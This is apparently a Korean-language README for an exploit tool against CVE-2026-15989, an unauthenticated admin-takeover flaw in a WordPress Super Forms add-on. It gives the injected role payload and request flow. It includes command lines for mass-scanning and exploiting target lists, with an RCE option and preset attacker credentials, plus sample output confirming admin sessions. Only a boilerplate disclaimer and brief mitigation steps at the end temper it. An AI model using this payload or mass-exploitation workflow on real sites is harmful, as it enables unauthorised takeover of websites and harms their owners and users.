CVE-2026-15989 — Super Forms ≤ 6.3.316 — 인증되지 않은 권한 상승 PoC

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — 프리미엄 Register & Login 애드온의 role 파라미터를 통한 인증되지 않은 권한 상승.

📋 취약점 개요

🔍 기술 설명

애드온은 폼 설정에서 새 사용자의 역할을 설정한 후 ($userdata['role'] = $settings['register_user_role']), 'role'을 포함하는 $other_userdata를 순회하며 wp_insert_user()를 호출하기 전에 클라이언트가 제공한 값($data['role']['value'])으로 모든 키를 덮어씁니다.

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

수정 (6.3.317): 화이트리스트에서 'role' 제거 + get_safe_public_registration_role() (fail-closed).

독자적 연구 — 이중 제출 프로토콜: 코어는 v5.0.0에서 프로토콜을 변경했습니다.

이 도구는 탐지된 버전에 따라 프로토콜을 자동으로 선택합니다.

🚀 사용법

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

📊 출력

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

• hits.txt — 확인된 대상만 (ts|url|status|detail, 사용자/비밀번호 포함)
• ETA + 상태별 카운터가 있는 진행 바; 모든 단계에서 실패 시 실제 원인 출력 (WAF, 크래시, 로그인 전용 폼, 잘못된 프로토콜...)

⚙️ 기능

• 이중 프로토콜 (4.x 중첩 데이터 / 5+ JSON+nonce) — 버전에 따라 자동 선택
• 버전 탐지: readme.txt Stable 태그 + common.js?ver=; 애드온 프로브 + 자체 버전
• 등록 폼 탐색: 일반 경로 + sitemap.xml/wp-sitemap.xml/sitemap_index + 홈 링크
• 필수 필드 자동 채우기 (숨겨진/조건부 포함)
• "already exists" → 기존 계정에 대한 직접 로그인 증명
• 크래시 제어: 주입된 역할 없이 폼을 재전송하여 서버 측 문제와 주입으로 인한 크래시를 구분
• /wp-json/wp/v2/users/me?context=edit를 통한 권위 있는 관리자 증명 (대체: users.php / dashboard)

📁 파일 구조

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 면책 조항

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 완화 방안

1. Super Forms를 6.3.317 (또는 이후 버전)로 업데이트하고 유출된 자격 증명을 교체하세요
2. Register & Login 애드온을 최신 상태로 유지하세요 (자체 버전 주기가 있음)
3. 필요하지 않은 경우 게시된 등록 폼을 제거/비활성화하세요
4. wp-admin/ 사용자 목록에서 예상치 못한 관리자 계정을 감사하세요